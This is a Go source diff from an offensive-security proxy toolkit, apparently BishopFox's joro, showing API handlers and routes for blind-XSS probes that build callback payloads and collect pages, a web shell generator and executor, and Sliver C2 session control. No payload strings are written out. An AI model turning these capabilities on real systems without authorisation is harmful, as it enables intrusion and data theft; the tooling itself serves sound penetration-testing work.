var body struct {
|
||||
Host string `json:"host"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Host == "" || body.Content == "" {
|
||||
writeError(w, http.StatusBadRequest, "host and content are required")
|
||||
return
|
||||
}
|
||||
|
||||
author := team.NicknameFromContext(r.Context())
|
||||
|
||||
id, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
note, err := s.teamStore.CreateNote(id, body.Host, body.Content, author)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.hub.Broadcast() <- event.WSEvent{Type: "team.note", Data: note}
|
||||
writeJSON(w, http.StatusCreated, note)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteTeamNote(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if err := s.teamStore.DeleteNote(id); err != nil {
|
||||
writeError(w, http.StatusNotFound, "note not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
|
||||
// --- Proxy-side handlers (forward to teamserver via proxyToListener) ---
|
||||
|
||||
func (s *APIServer) handleProxyTeamChat(w http.ResponseWriter, r *http.Request) {
|
||||
s.proxyToListener(w, r)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleProxyTeamUsers(w http.ResponseWriter, r *http.Request) {
|
||||
s.proxyToListener(w, r)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleProxyTeamNotes(w http.ResponseWriter, r *http.Request) {
|
||||
s.proxyToListener(w, r)
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
joroweb "github.com/BishopFox/joro/web"
|
||||
)
|
||||
|
||||
var (
|
||||
themeCSS string
|
||||
themeCSSOnce sync.Once
|
||||
)
|
||||
|
||||
// handleThemeVariables serves all theme CSS variable definitions as a single
|
||||
// stylesheet. Plugin UIs include this via <link> and set data-theme on their
|
||||
// own <html> element to activate the correct theme.
|
||||
func (s *APIServer) handleThemeVariables(w http.ResponseWriter, _ *http.Request) {
|
||||
themeCSSOnce.Do(func() {
|
||||
var sb strings.Builder
|
||||
themesFS, err := fs.Sub(joroweb.Themes, "src/themes")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
entries, err := fs.ReadDir(themesFS, ".")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".css") {
|
||||
continue
|
||||
}
|
||||
data, err := fs.ReadFile(themesFS, entry.Name())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
sb.Write(data)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
themeCSS = sb.String()
|
||||
})
|
||||
|
||||
w.Header().Set("Content-Type", "text/css; charset=utf-8")
|
||||
w.Header().Set("Cache-Control", "public, max-age=86400")
|
||||
w.Write([]byte(themeCSS)) //nolint:errcheck
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleListWSMessages(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
offset, _ := strconv.Atoi(q.Get("offset"))
|
||||
limit, _ := strconv.Atoi(q.Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
|
||||
items, total := s.wsStore.List(proxy.WSMessageFilter{
|
||||
Host: q.Get("host"),
|
||||
Offset: offset,
|
||||
Limit: limit,
|
||||
})
|
||||
if items == nil {
|
||||
items = []*proxy.CapturedWSMessage{}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearWSMessages(w http.ResponseWriter, r *http.Request) {
|
||||
s.wsStore.Clear()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/xsshunter"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleListProbes(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
probes, err := s.xssStore.ListProbes()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if probes == nil {
|
||||
probes = []xsshunter.Probe{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, probes)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCreateProbe(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
probe, err := xsshunter.GenerateProbe(s.xssStore, body.Name)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, probe)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteProbe(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
if err := s.xssStore.DeleteProbe(id); err != nil {
|
||||
writeError(w, http.StatusNotFound, "probe not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetPayloads(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
|
||||
probe, err := s.xssStore.FindProbeByID(id)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, "probe not found")
|
||||
return
|
||||
}
|
||||
|
||||
cfg, _ := s.cbStore.GetConfig()
|
||||
domain := cfg.Domain
|
||||
if domain == "" {
|
||||
writeError(w, http.StatusBadRequest, "callback domain not configured - set it in the Interact tab")
|
||||
return
|
||||
}
|
||||
|
||||
// Build the probe URL using the callback HTTP port.
|
||||
port := s.cfg.CallbackHTTPPort
|
||||
var probeURL string
|
||||
if port == 80 {
|
||||
probeURL = fmt.Sprintf("http://%s/_xss/%s", domain, probe.ProbeID)
|
||||
} else {
|
||||
probeURL = fmt.Sprintf("http://%s:%d/_xss/%s", domain, port, probe.ProbeID)
|
||||
}
|
||||
|
||||
variants := xsshunter.PayloadVariants(probeURL)
|
||||
|
||||
// Also generate HTTPS payload variants when HTTPS is configured.
|
||||
if s.cfg.CallbackHTTPSPort > 0 {
|
||||
httpsPort := s.cfg.CallbackHTTPSPort
|
||||
var httpsProbeURL string
|
||||
if httpsPort == 443 {
|
||||
httpsProbeURL = fmt.Sprintf("https://%s/_xss/%s", domain, probe.ProbeID)
|
||||
} else {
|
||||
httpsProbeURL = fmt.Sprintf("https://%s:%d/_xss/%s", domain, httpsPort, probe.ProbeID)
|
||||
}
|
||||
variants = append(variants, xsshunter.PayloadVariants(httpsProbeURL)...)
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, variants)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListFires(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
probeID := r.URL.Query().Get("probe_id")
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
items, total, err := s.xssStore.ListFires(probeID, offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []xsshunter.FireSummary{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetFire(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
fire, err := s.xssStore.GetFire(id)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, "fire not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, fire)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteFire(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
if err := s.xssStore.DeleteFire(id); err != nil {
|
||||
writeError(w, http.StatusNotFound, "fire not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearFires(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
probeID := r.URL.Query().Get("probe_id")
|
||||
if err := s.xssStore.ClearFires(probeID); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleUpdateProbe(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
|
||||
var body struct {
|
||||
CollectPages []string `json:"collectPages"`
|
||||
ChainloadURI string `json:"chainloadUri"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
pagesJSON := "[]"
|
||||
if len(body.CollectPages) > 0 {
|
||||
if b, err := json.Marshal(body.CollectPages); err == nil {
|
||||
pagesJSON = string(b)
|
||||
}
|
||||
}
|
||||
|
||||
if err := s.xssStore.UpdateProbe(id, pagesJSON, body.ChainloadURI); err != nil {
|
||||
writeError(w, http.StatusNotFound, "probe not found")
|
||||
return
|
||||
}
|
||||
|
||||
probe, err := s.xssStore.FindProbeByID(id)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, probe)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListCollectedPages(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
fireID := r.PathValue("id")
|
||||
pages, err := s.xssStore.ListCollectedPages(fireID)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if pages == nil {
|
||||
pages = []xsshunter.CollectedPageSummary{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, pages)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetCollectedPage(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
page, err := s.xssStore.GetCollectedPage(id)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, "page not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, page)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetXSSConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
pagesStr, _ := s.cbStore.GetConfigValue("xss_collect_pages")
|
||||
chainloadURI, _ := s.cbStore.GetConfigValue("xss_chainload_uri")
|
||||
|
||||
var pages []string
|
||||
if pagesStr != "" {
|
||||
json.Unmarshal([]byte(pagesStr), &pages) //nolint:errcheck
|
||||
}
|
||||
if pages == nil {
|
||||
pages = []string{}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"collectPages": pages,
|
||||
"chainloadUri": chainloadURI,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleUpdateXSSConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
var body struct {
|
||||
CollectPages []string `json:"collectPages"`
|
||||
ChainloadURI string `json:"chainloadUri"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
pagesJSON := "[]"
|
||||
if len(body.CollectPages) > 0 {
|
||||
if b, err := json.Marshal(body.CollectPages); err == nil {
|
||||
pagesJSON = string(b)
|
||||
}
|
||||
}
|
||||
|
||||
if err := s.cbStore.SetConfigValue("xss_collect_pages", pagesJSON); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if err := s.cbStore.SetConfigValue("xss_chainload_uri", body.ChainloadURI); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"collectPages": body.CollectPages,
|
||||
"chainloadUri": body.ChainloadURI,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
|
||||
func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
// WebSocket
|
||||
mux.HandleFunc("/ws", s.hub.ServeWS)
|
||||
|
||||
// Mode
|
||||
mux.HandleFunc("GET /api/v1/mode", s.handleGetMode)
|
||||
|
||||
// Theme CSS for plugin iframes
|
||||
mux.HandleFunc("GET /api/v1/theme/variables.css", s.handleThemeVariables)
|
||||
|
||||
// System info
|
||||
mux.HandleFunc("GET /api/v1/system/info", s.handleSystemInfo)
|
||||
|
||||
// Settings
|
||||
mux.HandleFunc("GET /api/v1/settings", s.handleGetSettings)
|
||||
mux.HandleFunc("PUT /api/v1/settings", s.handleUpdateSettings)
|
||||
|
||||
// Callback routes (both modes - handler logic differs per mode)
|
||||
mux.HandleFunc("GET /api/v1/callbacks/tokens", s.handleListTokens)
|
||||
mux.HandleFunc("POST /api/v1/callbacks/tokens", s.handleCreateToken)
|
||||
mux.HandleFunc("DELETE /api/v1/callbacks/tokens/{id}", s.handleDeleteToken)
|
||||
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
|
||||
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
|
||||
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
|
||||
mux.HandleFunc("PUT /api/v1/callbacks/config", s.handleUpdateCallbackConfig)
|
||||
|
||||
// XSS Hunter routes (both modes - handler logic differs per mode)
|
||||
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
|
||||
mux.HandleFunc("POST /api/v1/xss/probes", s.handleCreateProbe)
|
||||
mux.HandleFunc("DELETE /api/v1/xss/probes/{id}", s.handleDeleteProbe)
|
||||
mux.HandleFunc("GET /api/v1/xss/probes/{id}/payloads", s.handleGetPayloads)
|
||||
mux.HandleFunc("GET /api/v1/xss/fires", s.handleListFires)
|
||||
mux.HandleFunc("GET /api/v1/xss/fires/{id}", s.handleGetFire)
|
||||
mux.HandleFunc("DELETE /api/v1/xss/fires/{id}", s.handleDeleteFire)
|
||||
mux.HandleFunc("DELETE /api/v1/xss/fires", s.handleClearFires)
|
||||
mux.HandleFunc("PUT /api/v1/xss/probes/{id}", s.handleUpdateProbe)
|
||||
mux.HandleFunc("GET /api/v1/xss/fires/{id}/pages", s.handleListCollectedPages)
|
||||
mux.HandleFunc("GET /api/v1/xss/pages/{id}", s.handleGetCollectedPage)
|
||||
mux.HandleFunc("GET /api/v1/xss/config", s.handleGetXSSConfig)
|
||||
mux.HandleFunc("PUT /api/v1/xss/config", s.handleUpdateXSSConfig)
|
||||
|
||||
if s.listenerMode {
|
||||
if s.teamServerMode {
|
||||
// Team routes (direct DB access on teamserver).
|
||||
mux.HandleFunc("GET /api/v1/team/chat", s.handleListChatMessages)
|
||||
mux.HandleFunc("POST /api/v1/team/chat", s.handleCreateChatMessage)
|
||||
mux.HandleFunc("GET /api/v1/team/users", s.handleListActiveUsers)
|
||||
mux.HandleFunc("POST /api/v1/team/nickname", s.handleTeamRename)
|
||||
mux.HandleFunc("GET /api/v1/team/notes/hosts", s.handleListTeamNoteHosts)
|
||||
mux.HandleFunc("GET /api/v1/team/notes", s.handleListTeamNotes)
|
||||
mux.HandleFunc("POST /api/v1/team/notes", s.handleCreateTeamNote)
|
||||
mux.HandleFunc("DELETE /api/v1/team/notes/{id}", s.handleDeleteTeamNote)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Proxy mode routes
|
||||
// Version / Update
|
||||
mux.HandleFunc("GET /api/v1/system/version", s.handleVersionInfo)
|
||||
mux.HandleFunc("POST /api/v1/system/restart", s.handleRestart)
|
||||
mux.HandleFunc("POST /api/v1/system/update", s.handleUpdate)
|
||||
mux.HandleFunc("POST /api/v1/system/check-update", s.handleCheckUpdate)
|
||||
|
||||
// Sitemap
|
||||
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
|
||||
|
||||
// HTTP history
|
||||
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
|
||||
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
|
||||
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
|
||||
|
||||
// Intercept
|
||||
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
|
||||
mux.HandleFunc("PUT /api/v1/intercept/enabled", s.handleToggleIntercept)
|
||||
mux.HandleFunc("POST /api/v1/intercept/{id}/forward", s.handleForwardRequest)
|
||||
mux.HandleFunc("POST /api/v1/intercept/{id}/drop", s.handleDropRequest)
|
||||
|
||||
// Manipulate
|
||||
mux.HandleFunc("POST /api/v1/manipulate/send", s.handleManipulateSend)
|
||||
mux.HandleFunc("POST /api/v1/manipulate/ws/connect", s.handleManipulateWSConnect)
|
||||
mux.HandleFunc("POST /api/v1/manipulate/ws/{id}/send", s.handleManipulateWSSend)
|
||||
mux.HandleFunc("POST /api/v1/manipulate/ws/{id}/disconnect", s.handleManipulateWSDisconnect)
|
||||
|
||||
// Fuzzer
|
||||
mux.HandleFunc("POST /api/v1/fuzzer/start", s.handleFuzzerStart)
|
||||
mux.HandleFunc("POST /api/v1/fuzzer/{id}/stop", s.handleFuzzerStop)
|
||||
mux.HandleFunc("GET /api/v1/fuzzer/campaigns", s.handleFuzzerListCampaigns)
|
||||
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerGetCampaign)
|
||||
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
|
||||
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
|
||||
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
|
||||
|
||||
// Web shell generator
|
||||
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
|
||||
|
||||
// Web shell executor
|
||||
mux.HandleFunc("POST /api/v1/execute", s.handleExecute)
|
||||
|
||||
// Scope
|
||||
mux.HandleFunc("GET /api/v1/scope", s.handleGetScope)
|
||||
mux.HandleFunc("PUT /api/v1/scope/enabled", s.handleSetScopeEnabled)
|
||||
mux.HandleFunc("POST /api/v1/scope/rules", s.handleAddScopeRule)
|
||||
mux.HandleFunc("DELETE /api/v1/scope/rules/{id}", s.handleDeleteScopeRule)
|
||||
|
||||
// Noise filter
|
||||
mux.HandleFunc("GET /api/v1/noise", s.handleGetNoise)
|
||||
mux.HandleFunc("PUT /api/v1/noise/enabled", s.handleSetNoiseEnabled)
|
||||
mux.HandleFunc("POST /api/v1/noise/patterns", s.handleAddNoisePattern)
|
||||
mux.HandleFunc("DELETE /api/v1/noise/patterns/{id}", s.handleDeleteNoisePattern)
|
||||
|
||||
// Match & Replace
|
||||
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
|
||||
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
|
||||
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
|
||||
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
|
||||
|
||||
// Custom Data
|
||||
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
|
||||
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
|
||||
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
|
||||
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
|
||||
|
||||
// Config save/load
|
||||
mux.HandleFunc("GET /api/v1/configs/user", s.handleListUserConfigs)
|
||||
mux.HandleFunc("POST /api/v1/configs/user", s.handleSaveUserConfig)
|
||||
mux.HandleFunc("PUT /api/v1/configs/user/{name}", s.handleLoadUserConfig)
|
||||
mux.HandleFunc("DELETE /api/v1/configs/user/{name}", s.handleDeleteUserConfig)
|
||||
mux.HandleFunc("GET /api/v1/configs/project", s.handleListProjectConfigs)
|
||||
mux.HandleFunc("POST /api/v1/configs/project", s.handleSaveProjectConfig)
|
||||
mux.HandleFunc("PUT /api/v1/configs/project/{name}", s.handleLoadProjectConfig)
|
||||
mux.HandleFunc("DELETE /api/v1/configs/project/{name}", s.handleDeleteProjectConfig)
|
||||
|
||||
// Highlights
|
||||
mux.HandleFunc("GET /api/v1/highlights", s.handleGetHighlights)
|
||||
mux.HandleFunc("PUT /api/v1/highlights/{id}", s.handleSetHighlight)
|
||||
mux.HandleFunc("DELETE /api/v1/highlights", s.handleClearHighlights)
|
||||
|
||||
// WebSocket messages
|
||||
mux.HandleFunc("GET /api/v1/ws/messages", s.handleListWSMessages)
|
||||
mux.HandleFunc("DELETE /api/v1/ws/messages", s.handleClearWSMessages)
|
||||
|
||||
// Sliver C2
|
||||
mux.HandleFunc("GET /api/v1/sliver/status", s.handleSliverStatus)
|
||||
mux.HandleFunc("POST /api/v1/sliver/connect", s.handleSliverConnect)
|
||||
mux.HandleFunc("POST /api/v1/sliver/disconnect", s.handleSliverDisconnect)
|
||||
mux.HandleFunc("GET /api/v1/sliver/sessions", s.handleSliverSessions)
|
||||
mux.HandleFunc("POST /api/v1/sliver/execute", s.handleSliverExecute)
|
||||
mux.HandleFunc("POST /api/v1/sliver/command", s.handleSliverCommand)
|
||||
mux.HandleFunc("GET /api/v1/sliver/download/{id}", s.handleSliverDownload)
|
||||
mux.HandleFunc("POST /api/v1/sliver/upload", s.handleSliverUpload)
|
||||
|
||||
// Notes
|
||||
mux.HandleFunc("GET /api/v1/notes/hosts", s.handleListNoteHosts)
|
||||
mux.HandleFunc("GET /api/v1/notes", s.handleListNotes)
|
||||
mux.HandleFunc("POST /api/v1/notes", s.handleCreateNote)
|
||||
mux.HandleFunc("DELETE /api/v1/notes/{id}", s.handleDeleteNote)
|
||||
|
||||
// CA cert download
|
||||
mux.HandleFunc("GET /api/v1/certs/ca.crt", s.handleDownloadCACert)
|
||||
|
||||
// Team routes (proxy-side, forwarded to teamserver via proxyToListener).
|
||||
mux.HandleFunc("GET /api/v1/team/chat", s.handleProxyTeamChat)
|
||||
mux.HandleFunc("POST /api/v1/team/chat", s.handleProxyTeamChat)
|
||||
mux.HandleFunc("GET /api/v1/team/users", s.handleProxyTeamUsers)
|
||||
mux.HandleFunc("GET /api/v1/team/notes/hosts", s.handleProxyTeamNotes)
|
||||
mux.HandleFunc("GET /api/v1/team/notes", s.handleProxyTeamNotes)
|
||||
mux.HandleFunc("POST /api/v1/team/notes", s.handleProxyTeamNotes)
|
||||
mux.HandleFunc("DELETE /api/v1/team/notes/{id}", s.handleProxyTeamNotes)
|
||||
|
||||
// Plugin routes (dynamic, based on loaded plugins).
|
||||
registerPluginRoutes(s, mux)
|
||||
}
|
||||
@@ -0,0 +1,371 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"net/url"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
"github.com/BishopFox/joro/internal/cert"
|
||||
"github.com/BishopFox/joro/internal/config"
|
||||
"github.com/BishopFox/joro/internal/configstore"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/plugins"
|
||||
"github.com/BishopFox/joro/internal/fuzzer"
|
||||
"github.com/BishopFox/joro/internal/notes"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/sliver"
|
||||
"github.com/BishopFox/joro/internal/team"
|
||||
"github.com/BishopFox/joro/internal/update"
|
||||
"github.com/BishopFox/joro/internal/xsshunter"
|
||||
joroweb "github.com/BishopFox/joro/web"
|
||||
)
|
||||
|
||||
// Settings holds runtime-adjustable configuration exposed via the API.
|
||||
type Settings struct {
|
||||
ProxyPort int `json:"proxyPort"`
|
||||
UIPort int `json:"uiPort"`
|
||||
InterceptEnabled bool `json:"interceptEnabled"`
|
||||
InterceptTimeout int `json:"interceptTimeout"` // seconds
|
||||
ListenerURL string `json:"listenerUrl"`
|
||||
HTTP2Enabled bool `json:"http2Enabled"`
|
||||
KeepAliveEnabled bool `json:"keepAliveEnabled"`
|
||||
SOCKSHost string `json:"socksHost"`
|
||||
SOCKSPort int `json:"socksPort"`
|
||||
SOCKSUsername string `json:"socksUsername"`
|
||||
SOCKSPassword string `json:"socksPassword"`
|
||||
SOCKSDNS bool `json:"socksDns"`
|
||||
TeamToken string `json:"teamToken"`
|
||||
TeamNickname string `json:"teamNickname"`
|
||||
MaxRequests int `json:"maxRequests"`
|
||||
DisableUpdateChecks bool `json:"disableUpdateChecks"`
|
||||
}
|
||||
|
||||
// BuildInfo holds version information embedded at build time.
|
||||
type BuildInfo struct {
|
||||
Version string `json:"version"`
|
||||
Commit string `json:"commit"`
|
||||
UpdateAvailable bool `json:"updateAvailable"`
|
||||
LatestVersion string `json:"latestVersion"`
|
||||
}
|
||||
|
||||
// APIServer serves the REST API and the embedded frontend.
|
||||
type APIServer struct {
|
||||
cfg config.Config
|
||||
store *proxy.Store
|
||||
intercept *proxy.InterceptQueue
|
||||
scope *proxy.Scope
|
||||
noise *proxy.NoiseFilter
|
||||
replace *proxy.MatchReplace
|
||||
customData *proxy.CustomData
|
||||
ca *cert.CA
|
||||
hub *Hub
|
||||
|
||||
transport *proxy.TransportConfig
|
||||
wsStore *proxy.WSStore
|
||||
wsManipulate *proxy.ManipulateWSManager
|
||||
cbStore *callback.Store
|
||||
xssStore *xsshunter.Store
|
||||
noteStore *notes.Store
|
||||
sliverClient *sliver.Client
|
||||
listenerMode bool
|
||||
teamServerMode bool
|
||||
teamStore *team.Store
|
||||
teamToken string
|
||||
|
||||
fuzzerStore *fuzzer.Store
|
||||
pluginManager *plugins.Manager
|
||||
|
||||
listenerRelay *ListenerRelay
|
||||
configStore *configstore.Store
|
||||
|
||||
buildInfo BuildInfo
|
||||
cancelFunc context.CancelFunc
|
||||
restart bool
|
||||
|
||||
sessionID string
|
||||
|
||||
highlights map[string]string // requestID → highlight color name
|
||||
|
||||
mu sync.RWMutex
|
||||
settings Settings
|
||||
activeUserConfig string
|
||||
activeProjectConfig string
|
||||
|
||||
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
|
||||
// state blobs across a load -> save round-trip even when the owning
|
||||
// plugin isn't installed on this machine. Populated on config load
|
||||
// (full decoded map), merged into the serialized map on config save
|
||||
// so unknown-to-us plugins' data is never dropped.
|
||||
pendingUserPluginStates map[string][]byte
|
||||
pendingProjectPluginStates map[string][]byte
|
||||
|
||||
srv *http.Server
|
||||
}
|
||||
|
||||
// generateSessionID returns a random 16-char hex string unique to this process.
|
||||
func generateSessionID() string {
|
||||
b := make([]byte, 8)
|
||||
rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
// New creates an APIServer.
|
||||
func New(
|
||||
cfg config.Config,
|
||||
